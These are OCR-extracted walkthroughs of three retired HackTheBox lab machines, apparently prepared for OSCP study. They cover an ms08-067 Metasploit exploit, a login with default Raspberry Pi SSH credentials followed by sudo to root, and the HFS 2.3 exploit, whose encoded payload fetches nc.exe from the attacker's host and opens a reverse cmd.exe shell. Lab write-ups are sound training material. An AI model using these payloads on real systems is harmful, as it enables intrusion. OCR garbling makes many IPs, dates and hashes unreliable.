EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 19.10.14.18 yes The listen address (an interface may be specified)

LPORT el yes The listen port

Exploit target:

Id MName

[0} Automatic Targeting

msf exploit{windows/smb/ms@8 067 netapi) =
msf exploit(windows/smb/ms@8 067 netapi) >
msf exploit(windows/smb/ms@8_067_netapi) =
msf exploit(windows/smb/ms@8_067 netapi) > exploit

[*] Started reverse TCP handler on 10.16.14.18:4444

[+*] 10.10.10.4:445 - Automatically detecting the target...

[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] 10.10.160.4:445 - Attempting to trigger the vulnerability...

[*] command shell session 1 opened (10.10.14.18:4444 -> 10.10.10.4:1028) at 20819-11-81 15:02:39 -0700

C:\WINDOWS\system32>

Figure 4: writeup.exploitation.steps.1.1

2. We then obtain further information about the system and read the contents of both user.txt and root.txt
files to comeplete the challenge:

ipconfig
systeminfo
dir user.txt /s /p


https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067

4 type "C:\Documents and Settings\john\Desktop\user.txt"
5 type "C:\Documents and Settings\Administrator\Desktop\root.txt"

C:\WINDOWS\system32>systeminfo_

systeminfo
Host Name: LEGACY
05 Name: Microsoft Windows XP Professional
0S Version: 5.1.2600 Service Pack 3 Build 2600
05 Manufacturer: Microsoft Cerporation
05 Configuration: Standalone Workstation
0S Build Type: Uniprocessor Free
Registered Owner: user
Registered Organization: HTB
Product ID: 55274-643-7213323-23904
Original Install Date: 16/3/2817, 7:32:23
System Up Time: @ Days, 8 Hours, 55 Minutes, 47 Seconds
System Manufacturer: VMware, Inc.
system Model: VMware Virtual Platform
System type: XB86-based PC
Processor(s): 1 Processor({s) Installed.
[81]: xB6 Family 23 Model 1 Stepping 2 AuthenticAMD ~2P88 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
system Directory: C:\WINDOWS\5ystem32
Boot Device: \Device\HarddiskVolumel
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+02:808) Athens, Beirut, Istanbul, Minsk
Total Physical Memory: 511 MB

Available Physical Memory: 394 MB
Virtual Memory: Max Size: 2.048 MB
Yirtual Memory: Available: 2.809 MB

Virtual Memory: In Use: 39 MB

Page File Location(s): C:\pagefile.sys

Domain: HTB

Logon Server: M/ A

Hotfix(s): 1 Hotfix(s) Installed.
[81]: Q147222

NetWork Card(s): 1 NIC(s) Installed.

[81]: AMD PCNET Family PCI Ethernet Adapter
Connection MWame: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.4

Figure 5: writeup.exploitation.steps.2.1
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C:\>dir user.txt /s /p

dir user.txt /s /p

Yolume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john\Desktop

16/03/2017 08:19 32 user.txt
1 File(s} 32 bytes

Total Files Listed:
1 File(s) 32 bytes
8 Dir(s) 6.484.877.312 bytes free

C:\=

Figure 6: writeup.exploitation.steps.2.2

C:\>type "C:\Documents and Settings\john\Desktop\user.txt"
type "C:\Documents and Settings\john\Desktoph\user.txt"
e69atedf443de7e36876TdadecT644T

C:\=

C:h\>

C:\>type "C:\Documents and Settings\Administrator\Desktop\root.txt"
type "C:\Documents and Settings‘\Administrator\Desktop\root.txt"
993442d258bBe@ec917caelde695d5713

C:\=

Figure 7: writeup.exploitation.steps.2.3

Phase #2.5: Post Exploitation

ntauth/system@LEGACY> id
NT AUTHORITY\SYSTEM
ntauth/system@LEGACY>
ntauth/system@LEGACY> uname

Host Name: LEGACY

0S Name: Microsoft Windows XP Professional
0S Version: 5.1.2600 Service Pack 3 Build 2600
0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Workstation

0S Build Type: Uniprocessor Free

ntauth/system@LEGACY>

ntauth/system@LEGACY> ifconfig

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix
IP Address. . . . . . . . . . . . :10.10.10.4
Subnet Mask . . . . . . . . . . . : 2565.265.255.0
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Default Gateway .
ntauth/system@LEGACY>
ntauth/system@LEGACY> users
Administrator
john

10.10.10.2



Loot
Flags

C:\Documents and Settings\john\Desktop\user.txt: e69afOe4fd443de7e................
C:\Documents and Settings\Administrator\Desktop\root.txt: 993442d258b0e0..................

References

[+] https://www.hackthebox.eu/home/machines/profile/2
[+] https://medium.com/@_ C_ 3PJoe/htb-retired-box-walkthrough-legacy-147bbcc9ff02


https://www.hackthebox.eu/home/machines/profile/2
https://medium.com/@_C_3PJoe/htb-retired-box-walkthrough-legacy-147bbcc9ff02

[HackTheBox| Mirai

Date: 12/Nov/2019
Categories: oscp, htb, linux
Tags: exploit_ defaultcreds, privesc_ sudoers

Overview

This is a writeup for HackTheBox VM Mirai. Here are stats for this machine from machinescli:

» machinescli -t --info mirai

1. hackthebox#64 Mirai gg @
privesc_sudoers

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/64
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_defaultcreds&unscoped_q=exploit_defaultcreds
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://www.hackthebox.eu/home/machines/profile/64
https://github.com/7h3rAm/machinescli

[HTB] Mirai

'10.10.10.48 |

i Y . Y Y Y . . Y L Y .
123/udp ‘1323/tcp‘ ‘32400/tcp 22/tcp 32469/tcp‘ 53/tcp | 80/tcp
. . . . . — i .
v
‘X-Pi-hole: A black hole for Internet advertisements.‘ ‘http://lﬂ.lﬁ.10.48/admin/‘

Y
‘pihole dashboard‘

Y

pihole default creds for ssh login

¥

ssh (pi)

¥

/home/pi/Desktop/user. txt

Y . Y .
id - user pi is member of sudo group‘ sudo -1 - user pi can run any command with sudo

L 4 Y
sudo su -

. Y .
ssh (root)

. h 4 .
/root/root.txt - flag in usb drive

Y

.cat /media/usbstick/damnit.txt - flag file deleted.

- 4 .
strings /dev/sdb - contents of root.txt

Figure 2: writeup.overview.killchain

TTPs

1. 22/tcp/ssh/OpenSSH 6.7pl1 Debian 5+deb8u3 (protocol 2.0): exploit_ defaultcreds, privesc_sudoers


https://github.com/7h3rAm/writeups#exploit_defaultcreds
https://github.com/7h3rAm/writeups#privesc_sudoers
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Nov 12 15:49:18 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN
o /root/toolboz/writeups/htb.mirai/results/10.10.10.48/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.mirai/results/10.10.10.48/scans/zml/_quick_tcp_nmap.zml
o 10.10.10.48
Increasing send delay for 10.10.10.48 from O to 5 due to 275 out of 915 dropped probes since
<~ last increase.
Nmap scan report for 10.10.10.48
Host is up, received user-set (0.060s latency).
Scanned at 2019-11-12 15:49:19 PST for 27s
Not shown: 997 closed ports
Reason: 997 resets
PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7pl Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| ssh-dss AAAAB3NzaClkc3MAAACBAJpzaaGemwdVrkG//
< XBkrém9em2hEu3SianCnerFwTGHgUHrRpR6iocVhd8gN21TPNTwFF47q8nUitupMBnvImwAs8NcjLVc1PSAFJISWwTxbaBiX0qyjV5B
< +s2N8I9neI2coRBtZDUwUiF/1gUAZIimeK0]j2x39kcBpcpM6ZAAAAFQDWLILa/ |
< FPulrEutE8yfdIgxTDDNQAAATIBJbIYW/IeOFHPiKBzHWiM8JT jhPCcvjIkNjKMMdS6uo00/ JQHAVUUTscC/ |
- LTvYmQeLAyc7GYQ/AcLgoYFHm8hDgFVN2D4BQ7yGQTIdU4GAOp4/H1wHPK1AiBuDQMsyEk2s2J+60Rt+ |
< hUKCZfnxPOoD91+,
- VEWfZQYCTOBi3gOAotgAAATBA60WkakYL.2e1321g6202202P1q9zvAx3tfViuU9CGStiIWdeH4qrhSMiUKrhbNeCzvdcw6pRWK41L |
< +vDiQrhV12/,
< w6JSowf9KHxvoprAGiEg7GjyvidBrOMzv1WajlU9BQOONc7poV2UzyMwLYLqzd jBIT28WUs3qYTxanalUrV9g==
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCpSoRAKB+cPR8bChDdajCIpf4plzHfZyu2xnIkqRAgm6Dws2zcy+
= VAZriPDRUrht10GfsBLZtp/1PZpkUd2b1PKvN2YIg4SDtpvTrdwAM2uCgUrZdKRoFa+nd8REgkTg8JRYKSGQ/ |
< RxBZzb06JZhRSvLABFve3rEPVdwTf4mzzNuryV4DNctrAojjP43q7Msc24poQRGIAkeyS1h4zrZMbBODQaKoyY3pssbFW
< +qa83XNsqjnK1KhSbjH17pBFhlfo/6bGkIE68vS5CQi9Phygke6/a39EP2pIp6WzT5KI3Yosex3Br85kbh/ |
< J8CVf4EDIRs5qismW+AZLeJUJHr j
| 256 b6:20:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBC189gWp+rA+
o 2SLZzt3r7x+9sXF0Cy9g3C9Yk1S21hT/VOmlqYys1fbAvqwoVvkpRvHRZzbd5CxViOVih0TeW/bM=
| 256 4d:68:40:£7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAILvYtCv0/UREAhODuSsm71iSb9SZ8gLloZtn7P46SIDZL
53/tcp open domain syn-ack ttl 63 dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http syn-ack ttl 63 lighttpd 1.4.35
| http-methods:
| _ Supported Methods: OPTIONS GET HEAD POST
| _http-server-header: lighttpd/1.4.35
| _http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/

# Nmap done at Tue Nov 12 15:49:46 2019 -- 1 IP address (1 host up) scanned in 27.40 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

~ openports

# Port Protocol  Service Scans

1. 22/tcp ssh ttl 63 OpenSSH 6.7pl Debian 5+deb8u3 (protocol 2.8) ./results/10.10.16.48/scans/tcp_22_ssh_nmap.txt
2 C in t € 1 3 3

3.

4. 123/udp ntp ttl 63 NTP v4 (unsynchronized)

5 1323/tcp upnp ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.@8 DLNADOC/1.50)

6.

7. 32469/tcp  upnp ttl 63 Platinum UPnP 1.6.5.13 (UPnP/1.0 DLNADOC/1.50)

Figure 3: writeup.enumeration.steps.2.1

3. From the HTTP response headers, we find that the HT'TP service is running the PiHole project:

Tue, 12 Nov 2019 23:50:08 GMT
Server: lighttpd/1.4.35

GET)

Figure 4: writeup.enumeration.steps.3.1

4. We also find an admin directory from the gobuster scan:

http://10.10.10.48:80/admin (Status: 381)

(
http://10.10.10.48:88/swfobject.js (Status: 280) [5ize: 61]

Figure 5: writeup.enumeration.steps.4.1

5. Upon visiting the http://10.10.10.48/admin/ page, we get the default PiHole dashboard:


https://pi-hole.net/

| @ 10.10.10.48/admin/index.php v 4

3 767 M 115,068

Pihole

Pi-hole

Status

Queries Blocked Last 24 Hours Queries Last 24 Hours Domains on Blocklists

Queries over last 24 hours

15:00 16.00 17:00

© Donate if you found this useful. Pi-hole Version v3.1.4 Web Interface Version v3.1 FTL Version v2.10

Figure 6: writeup.enumeration.steps.5.1

Findings

Open Ports

22/tcp | ssh | OpenSSH 6.7pl Debian 5+deb8u3 (protocol 2.0)
53/tcp | domain | dnsmasq 2.76

80/tcp |  http | lighttpd 1.4.35

123/udp | ntp | NTP v4 (unsynchronized)

1323/tcp | upnp | Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp | http | Plex Media Server httpd

32469/tcp | upnp | Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Files

http://10.10.10.48/admin/

Users

ssh: pi



Phase #2: Exploitation

1. We take hint from the name of this VM, Mirai, referring to the botnet that targeted Internet systems configured
with default credentials. Since the target system is running PiHole and by default such systems have a user pi with
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11

12

13

14

password raspberry, using this combination gives us interactive access:

root@kali: toolbox/data

# ssh pi@le.10.10.48

The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ECDSA key fingerprint is SHA256:UkDz3Z1kWt205g2GR1ullQ3UY/cVIx/oXTigLPXiXMY.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '10.10.10.48' (ECDSA) to the list of known hosts.
pi@10.10.16.48's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Aug 27 14:47:50 2017 from localhost

-bash: warning: setlocale: LC ALL: cannot change locale (en_US.UTF-8)
-bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)

SSH is enabled and the default password for the 'pi' user has not been changed
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

-bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)

uid=1000(pi) gi.

% id
1008 (pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),660(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)

4 uname -a

Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux

eth®

4 ifconfig
Link encap:Ethernet HWaddr 00:50:56:b9:cc:ee
inet addr:10.10.10.48 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::94e9:d9%aa:2889:bfef/64 Scope:Link
inet6 addr: dead:beef::el64:151a:f890:2d59/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:ccee/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:170849 errors:0 dropped:0 overruns:0 frame:0
TX packets:159384 errors:0 dropped:@ overruns:® carrier:@
collisions:0 txqueuelen:1000

Figure 7: writeup.exploitation.steps.1.1

2. We then view contents of the user.txt file:

; - i:~ % cat Desktop/fuser.tixt
TT837707441b25

Figure 8: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

pi@raspberrypi> id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44

<

(video) ,46 (plugdev) ,60(games),100(users), 101 (input) ,108(netdev) ,117(i2¢c) ,998(gpio) ,999 (spi)

piC@raspberrypi>

pi@raspberrypi> uname

Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) 1686 GNU/Linux
pi@raspberrypi>

pi@raspberrypi> ifconfig

ethO

Link encap:Ethernet HWaddr 00:50:56:b9:cc:ee

inet addr:10.10.10.48 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::94e9:d9aa:2889:bf0f/64 Scope:Link

inet6 addr: dead:beef::e164:151a:£090:2d59/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:ccee/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:170849 errors:0 dropped:0 overruns:0 frame:0

TX packets:159384 errors:0 dropped:0 overruns:0 carrier:0


https://en.wikipedia.org/wiki/Mirai_(malware)
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collisions:0 txqueuelen:1000
RX bytes:17335718 (16.5 MiB) TX bytes:23597380 (22.5 MiB)
Interrupt:19 Base address:0x2000

pi@raspberrypi>

pi@raspberrypi> users

root

pi



Phase #3: Privilege Escalation

1. From the output of the id command and also confirming via sudo -1, we know that the user pi is a member of
the sudo group. This means we can switch to root and gain elevated privileges:

pi@raspbern - % sudo -1
Matching Defaults entries for pi on localhost:
env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: /usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
(ALL : ALL) ALL
{ALL) NOPASSWD: ALL

.1

Figure 9: writeup.privesc.steps.1.1

:~ % sudo su -

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

root@raspberrypi:~# id
uid=0{root) gid=0(root) groups=@(root)
root@raspberrypi:~#
root@raspberrypi:~# uname -a
Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) 1686 GNU/Linux
root@raspberrypi:~#
root@raspberrypi:~# ifconfig
ethe Link encap:Ethernet HWaddr 00:58:56:b9:cc:ee
inet addr:10.10.10.48 Bcast:10.10.18.255 Mask:255.255.255.0
inet6 addr: feB8@::94e9:d%aa:2889:bfef/64 Scope:Link
inet6 addr: dead:beef::el64:151a:f090:2d59/64 Scope:Global
inet6 addr: feB@::250:56ff:feb9:ccee/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:218199 errors:0 dropped:®@ overruns:® frame:@
TX packets:195933 errors:® dropped:® overruns:0 carrier:@
collisions:® txqueuelen:1008
RX bytes:24159054 (23.0 MiB) TX bytes:42925449 (48.9 MiB)
Interrupt:19 Base address:@x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:20957 errors:@ dropped:0 overruns:® frame:e
TX packets:20957 errors:@ dropped:® overruns:® carrier:@
collisions:® txqueuelen:®
RX bytes:3433707 (3.2 MiB) TX bytes:34337087 (3.2 MiB)

root@raspberrypi:~#

Figure 10: writeup.privesc.steps.1.2

2. When trying to vie wthe contents of the root.txt file, we see that the original file has been deleted and a backup
exists on the USB drive. We use the df -1h command to find the absolute path for mounted USB drive, find a file
in it but it too didn’t give us the flag. The original file seems to be deleted from the USB stick which means we
need to use some quick forensics to obtain the deleted file:



root@raspberrypi:~# cat root.txt

I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:~#

root@raspberrypi:~#

root@raspberrypi:~# df -1lh

Filesystem Size Used Avail Use®% Mounted on

aufs 8.56 2.8G 5.3G 34% /

tmpfs 16eM 4.8M 96M 5% /run

Jdev/sdal 1.3G 1.3G @ 100% /lib/live/mount/persistence/sdal
/dev/loop®@ 1.3G 1.3G 0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs 256M B 250M 0% /lib/live/mount/overlay
Jdev/sdaz 8.56 2.8G 5.3G 34% /lib/live/mount/persistence/sdaz
devtmpfs 10M 0] 10M 0% /dev

tmpfs 250M 8.0K 2580M 1% /dev/shm

tmpfs 5.6M 4.0K 5.8M 1% /run/lock

tmpfs 2560M 0 258M 0% /sys/fs/cgroup

tmpfs 250M B8.0K 250M 1% /tmp

Jdev/sdb 8.7M 93K 7.9M 2% /media/usbstick

tmpfs 50M 1] 50M 0% /run/user/999

tmpfs 50M 1] 50M 0% /run/user/1000

root@raspberrypi:~#

root@raspberrypi:~#

root@raspberrypi:~# 1s -la /media/usbstick/

total 18

drwxr-xr-x 3 root root 1024 Aug 14 2817

drwxr-xr-x 3 root root 4096 Aug 14 2817

-rw-r--r-- 1 root root 129 Aug 14 2817 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
root@raspberrypi:~#

root@raspberrypi:~#

root@raspberrypi:~# cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James
root@raspberrypi:~#

Figure 11: writeup.privesc.steps.2.1

3. We try to extract strings from the mounted device file /dev/sdb and find the contents of the original root.txt
file:



root@raspberrypi:~# strings /dewv/sdb
=r &
/media/usbstick
lost+found
root.txt
damnit.txt

=r &

=r &
/media/usbstick
lost+found
root.txt
damnit. txt

>r &
/media/usbstick
218"

lost+Tound
root.txt
damnit.txt

=r &

3d3ed483143TT12ec505d026Tal3e020b

Damnit! Sorry man I accidentally deleted your fTiles off the USB stick.
Do you know if there is any way to get them back?

-James

root@raspberrypi:~#

Figure 12: writeup.privesc.steps.3.1
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Loot
Hashes

pi:$6$SQPHFoql$gSESqQWbZRGHDindLnFY56sMnQsmvH/020I1Xv . 3KcqVsJCYgIJO9RY/ |
-~ Pws88e8yjKgJnaxN3zdq8fbotslb.......................

Credentials

ssh: pi/raspbe...

Flags
/home/pi/Desktop/user.txt: f£837707441b257a20e3............

/root/root.txt -> /media/usbstick/root.txt: 3d3e483143ff12ec5...............

References

[+] https://www.hackthebox.eu/home/machines/profile/64
[+] https://www.youtube.com/watch?v=SRmvRGUuuno
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[HackTheBox| Optimum
Date: 04/Nov/2019

Categories: oscp, htb, windows
Tags: exploit__hfs cmd_ exec, privesc_windows_ms16_ 098

Overview

This is a writeup for HackTheBox VM Optimum. Here are stats for this machine from machinescli:

machinescli -t --info optimum

# ID MName Rating Difficulty 05 0SCPlike

Owned TTPs

1. hackthebox#6 Optimum |[gm — ® L @

Figure 1: writeup.overview.machinescli

Killchain

&
privesc_windows_ms16_098

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/6
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_hfs_cmd_exec&unscoped_q=exploit_hfs_cmd_exec
https://github.com/7h3rAm/writeups/search?q=privesc_windows_ms16_098&unscoped_q=privesc_windows_ms16_098
https://www.hackthebox.eu/home/machines/profile/6
https://github.com/7h3rAm/machinescli

[HTBE] Optimum

10.10.10.8 |

¥
Phase #1: Enumeration

Y

80/tcp

Y

.HtthileServer 2.3

Y

Phase #2: Exploitation

edb:39161

Y

netcat (kostas)

l

user.txt.txt <  Phase #3: Privilege Escalation |

h 4
‘windnws-exploit-suggester.py‘

¥
‘edb:41929‘

. Y '
netcat (system)

Y

‘ruut.txt‘

Figure 2: Writeupéoverview.killchain



TTPs

1. 80/tcp/http/HttpFileServer httpd 2.3: exploit_hfs cmd_ exec, privesc_ windows_ms16_098


https://github.com/7h3rAm/writeups#exploit_hfs_cmd_exec
https://github.com/7h3rAm/writeups#privesc_windows_ms16_098
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Mon Nov 4 17:34:56 2019 as: mmap —-vv —--reason —Pn -sV -sC
o —-version-all -oN

s /root/toolboz/writeups/htb.optimum/results/10.10.10.8/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.optimum/results/10.10.10.8/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.8

Nmap scan report for 10.10.10.8

Host is up, received user-set (0.062s latency).

Scanned at 2019-11-04 17:34:57 PST for 19s

Not shown: 999 filtered ports

Reason: 999 no-responses

PORT  STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 127 HttpFileServer httpd 2.3

| _http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1

| http-methods:

| _ Supported Methods: GET HEAD POST

| _http-server-header: HFS 2.3

| _http-title: HFS /

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 4 17:35:16 2019 -- 1 IP address (1 host up) scanned in 19.87 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

B Port Protocol Service Scans
./results/10.10.10.8/scans/tcp_80_http_gobuster.txt
./results/10.10.10.8/scans/tcp_80_http_nikto.txt

1. 80/tcp http ttl 127 HttpFileServer httpd 2.3 ./results/10.10.10.8/scans/tcp_80_http_nmap.txt
./results/10.10.10.8/scans/tcp_80@_http_robots.txt
./results/10.10.10.8/scans/tcp_80_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find HttpFileServer 2.3 running on the target system. Upon searching for exploits we find multiple hits:

root@kali: ~/toolbox/data/writeups/htb.optimum # ss hfs 2.3
Exploit Title | Path
| (/usr/share/exploitdb/)

Rejetto HTTP File Server (HFS) 2.2/ - Arbitrary File Upload | exploits/multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) a/2.3b/2.3c - Remote Command Execution | exploits/windows/webapps/34852. txt
Rejetto HTTP File Server ( ) .x - Remote Command Execution (1) | exploits/windows/remote/34668.txt
Rejetto HTTP File Server ( ) .X - Remote Command Execution (2) | exploits/windows/remote/39161.py
Shellcodes: No Result

root@kali: ~/toolbox/data/writeups/htb.optimum #

Figure 4: writeup.enumeration.steps.3.1

Findings
Open Ports


https://github.com/Tib3rius/AutoRecon

1 80/tcp | http | HttpFileServer httpd 2.3



Phase #2: Exploitation

1. We use the command execution exploit, slightly modify it to print debug information and get interactive access
on the target system:

root@kali: ~/toolbox/data/writeups/hth.optimum # python 39161.py 16.10.10.8 80

script_create: http://10.10.10.8:80/7search=%00{.+save|C:\Users\Public\script.vbs|dim%20xHt1p%3A%205et%20xHL1p%20%3D%20createobject (%22Microsoft. XMLHTTP%22)%0D%0Adim%s20bStrm%3A%205e1%20bS trm%20%3D%20
createobject (%22Adodb. Stream%22)%0D%0AXHTLP. 0pen%20%22GET%22%2C%20%22h t tp%3A%2F=2F10.10. 14. 263:3A8000%2FnC. exe%22%2C%20Fa . 5 ith%20bStr 20%20%20%20 . type%20%3D%201%20
%27%2F%2Fbinar: 20%20%20%26 . op: 20%20%20%20 . write%20xHttp. responseBody%0D%0A%20%20%20%20 . savetofile%s20%22C%3A%5CUserss5CPublics5Cnc. exe%s22%2(%202%20%27%2F%2Fove rwri te%s0D%0Aend%20with. }
execute script: http://10.10.10.8:80/?5earch=%00{.+exec|cscript.exe%20C%3A%5CUserss5CPublics5Cscript.vbs.}

nc_run: http://10.10.10.8:80/?search==:00{.+exec |C%3A%5CUsersx5CPublic%5Cnc. exe%20-e%20cmd . exe%2010.10.14.26%20443 . }

root@kali: ~/toolbox/data/writeups/htb.optimum #

Figure 5: writeup.exploitation.steps.1.1

root@kali: ~/toolbox/data/writeups/htb.optimum # nc -nlvp 443

listening on [any] 443

connect to [10.10.14.26] from (UNMKNOWN) [16.10.106.8] 49211
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop=whoami

whoami
optimum\kostas

C:\Users\kostas\Desktop>systeminfo

systeminfo

Host Name:

05 Mame:

0S5 Version:

0S5 Manufacturer:
0S Configuration:
0S5 Build Type:
Registered Owner:

Registered Organization:

Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:
System Model:

System Type:
Processor(s):

BIOS Version:
Windows Directory:
System Directory:
Boot Device:

OPTIMUM

Microsoft Windows Server 2012 Rz Standard
6.3.9600 N/A Build 9600

Microsoft Corporation

Standalone Server

Multiprocessor Free

Windows User

00252-70000-00000-AA535

18/3/2017, 1:51:36

10/11/2019, 11:85:13

VMware, Inc.

VMware Virtual Platform

®64-based PC

1 Processor(s) Installed.

[@1]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2800 Mhz
Phoenix Technologies LTD 6.80, 12/12/2018
C:\Windows

C:\Windows\system32
\DevicezHarddiskVolumel

Figure 6: writeup.exploitation.steps.1.2
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C:\Users\kostas\Desktop=ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix . :
IPvA - Adaresss « @ = o @ % o= oo v 23818 C1BUE

Subnet Mask: o 7 5 2 4 5 3 e 4 v = 3 255.258.255.8
Default Gateway . . . . . . . . . : 18.10.10.2

Tunnel adapter isatap.{99C463C2-DC10-45A6-9CCB-E62F160519AE}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

C:\Users\kostas\Desktop=

Figure 7: writeup.exploitation.steps.1.3

Phase #2.5: Post Exploitation

kostas@OPTIMUM> id

optimum\kostas

kostas@OPTIMUM>

kostas@OPTIMUM> uname

Host Name: OPTIMUM

0S Name: Microsoft Windows Server 2012 R2 Standard
0S Version: 6.3.9600 N/A Build 9600

0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Server

0S Build Type: Multiprocessor Free

kostas@OPTIMUM>

kostas@OPTIMUM> ifconfig
Ethernet adapter EthernetO
Connection-specific DNS Suffix
IPv4 Address. . . . . . . . . . . : 10.10.10.8
Subnet Mask . . . . . . . . . . . : 2565.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
kostas@OPTIMUM>
kostas@OPTIMUM> users
Administrator
kostas



Phase #3: Privilege Escalation

1. We can now view the contents of the user.txt.txt file to get the first flag:

C:\Users\kostas\Desktop=type user.txt.txt
type user.txt.txt
